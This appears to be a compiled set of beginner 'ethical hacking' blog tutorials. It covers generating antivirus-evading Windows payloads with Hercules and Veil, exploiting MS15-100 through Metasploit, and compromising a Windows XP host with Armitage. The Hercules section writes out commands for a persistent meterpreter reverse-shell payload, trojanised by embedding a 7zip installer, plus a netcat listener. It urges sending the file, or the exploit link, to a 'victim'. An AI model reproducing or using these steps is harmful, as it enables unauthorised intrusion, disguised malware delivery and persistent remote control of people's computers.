Beginners guide to hacking Windows

Hello aspiring Ethical Hackers. Today we will learn about a payload generator that I used in hacking Windows 10 (actually of its antivirus ). Since remote exploits ceased to exist in Windows operating systems after Windows XP, it can only be done by sending payloads in portable executables. The biggest challenge in sending these malicious portable executables is bypassing its security mechanisms. Enter Hercules.

Hercules is a special payload generator for hacking Windows that can bypass all antivirus software. It has features like persistence and keylogger which make it too cool. Named after a Greek Hero, Hercules stands up for its name. In our testing, none of the antivirus was able to detect payload generated by Hercules. Now let us see how Hercules can be used to hack Windows 10 . In Kali Linux, open a terminal and type command git clone https://github.com/EgeBalci/Hercules to clone Hercules into Kali Linux.

The tool is cloned into directory called Hercules. Navigate into that directory and view the contents of the directory as shown below. There is a directory called SOURCE. Move into that directory. There should be a file called HERCULES.go.

Now type command go build HERCULES.go to build this file. Remember Linux is very strict, so be careful with uppercase and lowercase. Once you run that command, we will get another file with the same name but without any extension as shown below.

Now its time to create our payload. Type command,

./HERCULES 192.168.25.146 4444 -p windows/meterpreter/reverse_tcp -a x86 -l dynamic

Let me explain this command.

192.168.25.146 – IP address of our attacker system ( in our case Kali Linux )

4444 – the port number over which we want our victim system to connect to us.

-p – payload ( in this case, windows/meterpreter/reverse_tcp )

-a – architecture of the payload ( 64 bits or 32 bits )

-l – linking ( static or dynamic, dynamic linking reduces the payload size )

Hit on Enter. Our payload is created in the same directory.

Our payload’s name is payload.exe. Type “ls” as shown below. Now send this file to our victim using your creativity.

On our Kali Linux, type command nc -l -p 4444. We are opening a netcat session on port 4444 ( the same port we set up above). Now when the user clicks on our payload, we will get the remote system’s shell as shown below.

Type command help to see all the commands we can execute on our target system.

For example, type command systeminfo to see all the system settings of our target. This was pretty simple. But this is a one time session, which means once you get out of this session you are disconnected from your victim.

So let’s add a little bit reality to our payload this time. Now we will add two things : persistence and embedding.

–persistence – Once our payload is executed by the victim, it will continually try to connect to our attacker system. So we can end the session and start it once again. The only condition is our victim’s system should be on and of course we should be listening.

–embed – we will add a genuine executable into our payload. Type command

./HERCULES 192.168.25.146 4444 -p windows/meterpreter/reverse_tcp -a x86 -l dynamic –persistence –embed=/root/Desktop/7z1602.exe

Here we are embedding 7zip into our payload. Remember we need to send the payload created in SOURCE directory to our victim.

So when victim clicks on our payload to install it, UAC will prompt this window( the user should get a whiff here, if he is aware ).

When the user clicks on “yes”, the installation will progress normally on the victim’s system.

And on our attacker system, we should have already got the victim’s shell as shown below. As I already told, this is a persistent connection. Disconnect the session by typing ‘CTRL+C” and connect again with nc -l -p 4444 to get the session back. Hope that was helpful. If you have any queries or doubts, please feel free to leave your comments.

That was all about hacking Windows 10 with Hercules Payload Generator.

Beginners guide to Veil framework

Hello, aspiring ethical hackers. In our previous blogpost, you learnt about some Antivirus bypass techniques used by hackers to keep their payloads undetected. In this blogpost, you will learn about Veil Framework, a tool to generate Metasploit payloads that can bypass common anti-virus solutions.

Veil framework is officially supported by Debian 8 and Kali Linux rolling 2018+. It may also be run on Arch Linux, Manjaro Linux, Black Arch Linux, Deepin 15+, Elementary, Fedora 22+, Linux Mint, Parrot Security, Ubuntu 15.10+ and Void Linux.

For this tutorial, we will be using Kali Linux. Veil framework can be installed either directly or can be downloaded from Github. Veil can be installed on Kali using apt as shown below.

This simple command will install all the dependencies and software Veil requires like Wine etc.

After successful installation, Veil can be started using the command shown below.

As you can see, Veil has two tools installed: Evasion and Ordnance. Let’s focus on the evasion part for this article. We can use the command shown below to the evasion tool.

As you can see, Veil is saying that 41 payloads have been loaded and it is displaying the commands available in Veil Evasion menu. To see all the payloads veil can create, use command “list” as shown below.

You can select the payload you want to create as shown below. For example, here I want to create powershell/meterpreter/rev_tcp.py payload. So, I use its number as shown below.

Along with payload information, the options required for this payload are also displayed along with the available commands.

The required options can be set just like Metasploit. For example, set lhost using command

Set lhost <attacker ip>

After all the options are set, we can create the payload using “generate” command.

You will be prompted to give a name to your output payload. Click Enter to continue. The payload is successfully created as shown below.

Using MS15-100 vulnerability to hack Windows

Hello aspiring ethical hackers. In this howto, we will see how to hack Windows 7 with MS15-100 with recently released ms15-100 Microsoft Windows Media Center MCL exploit. For this, I am gonna use pentest lab i created in our previous howto. I am using Kali Linux as my attacker system for hacking windows 7.

Start Metasploit by typing command “msfconsole”. Search for our exploit using command as shown below.

Load the exploit as shown below.

Set the IP address of Kali Linux to “srvhost” option. Set payload as “windows/meterpreter/reverse_tcp“. Set Lhost as IP address of Kali Linux.

Check if all the necessary options are set by typing command “show options“. Now run the exploit by typing command “exploit“. You will get the following result. Now copy the underlined link and send it to your victim.

When your victim clicks on the link, he will get a popup asking him to download and save the file.

When the user clicks on the downloaded file, we will get a meterpreter session on our attacker system as shown below. Type command “sessions -l ” to see the available sessions. We have one session available below.

Type command “sessions -i 1“( 1 is the session number available to us and can vary for you) to use the meterpreter session. Type “sysinfo” to know about the target system. Hurrah, we have successfully hacked our target.

That’s how we hack Windows 7 with MS15-100 exploit.

Beginners guide to armitage

Hello, aspiring ethical hackers. In this blogpost, you will learn about Armitage. Armitage is the GUI (graphical user interface) version of the fantastic pen testing tool Metasploit. We all know Metasploit is an awesome tool for pen testing. However awesome it is, we need to type each and every command to run the exploit. What if we all can do the same pen testing with clicks and right clicks. There you have your answer, Armitage.

Armitage is installed by default in Kali Linux and it can be started using command “Armitage”. If it is not installed, ask itself to install it while the system prompts you to.

Armitage uses PostgreSQL database. So, we need to start the PostgreSQL service as shown below.

We also need to start the msfdb service.

Now, you are all ready to start Armitage, Type the same command you typed at the beginning “armitage” and you should see this. Armitage needs to connect to the Metasploit RPC server to work. Click on “Connect”.

If you get the message shown below. Click on “yes”.

If you get the message shown below, just hang on. Things may change soon.

As shown below.

If everything went right, you should see the window shown below.

Welcome to Armitage, If you can see, Armitage has three sections. Section 1 should be familiar to you. The names should remind you of Metasploit. That’s because, that is exactly that but in graphical format. Section 2 is where you can see the visual display of Armitage, The visual representation of the network you are trying to pen test or hack is shown here. Section 3 named “console” is “metsaploit” itself. Now that you are familiar with all the sections of Armitage, let’s see the menus of Armitage.

To start with Armitage, let’s first add our own attack machine to the display. To do this, we need to go to “Host” menu and click on “Add Host”.

In the small window that is opened, add the IP address of the attacker machine and click on “Add”.

Now, Armitage looks like this with our attacker machine shown on display. Now, let’s add the OS and give a name to our Attacker system so that we can easily detect it.

Right click on the attacker system. Go to Host>Operating system>Linux as shown below.

Similarly, to give name to your attacker systems, go to Host>set label. I named it Kali.

Since the attacker system is ready, we now need target system. For this tutorial, we will be using Windows XP SP2 as target. To get the target on armitage, all we need to do is perform a ping scan to detect the LIVE systems on the target network. To do this, go to Host menu> Nmap scan>Ping scan as shown below.

Enter the IP address range to scan. This information is usually obtained during footprinting. You want to scan for LIVE systems.

As soon as the scan is complete, the LIVE targets are displayed on the display of Armitage and you will be prompted with a message as shown below.

As you can see here, the Ping scan as usual failed to detect the operating system of the target and even open ports too. Next, let’s scan for open ports on the target. To do this, go to Hosts>Nmap> Quick Scan.

All the actions you perform are shown in console section. From the same menu, lets perform a comprehensive scan to detect the operating system of the target.

This time the operating system of target system id detected as Windows Next stage is to find some attacks related to it. To do this, go to Attacks menu>Find attacks.

As the message in the above image says, you will find a new menu named “Attack” on the target system now. If you don’t find the “Attack menu” on the target system, go to Armitage menu >Set Exploit rank. Set it to “poor” as shown below.

Find attacks again. This time you will see an Attack menu on the target system.

Go to Attack menu and you will see all the exploits we can use on the target.

I select the infamous ms08_067 vulnerability.

A new window opens. This is just like the options on Metasploit whenever you load an exploit. The only difference is, here it is in graphical mode and you don’t have to change anything.

Just click on “Launch”. If the target system is compromised, then the look of the target system changes as shown below.
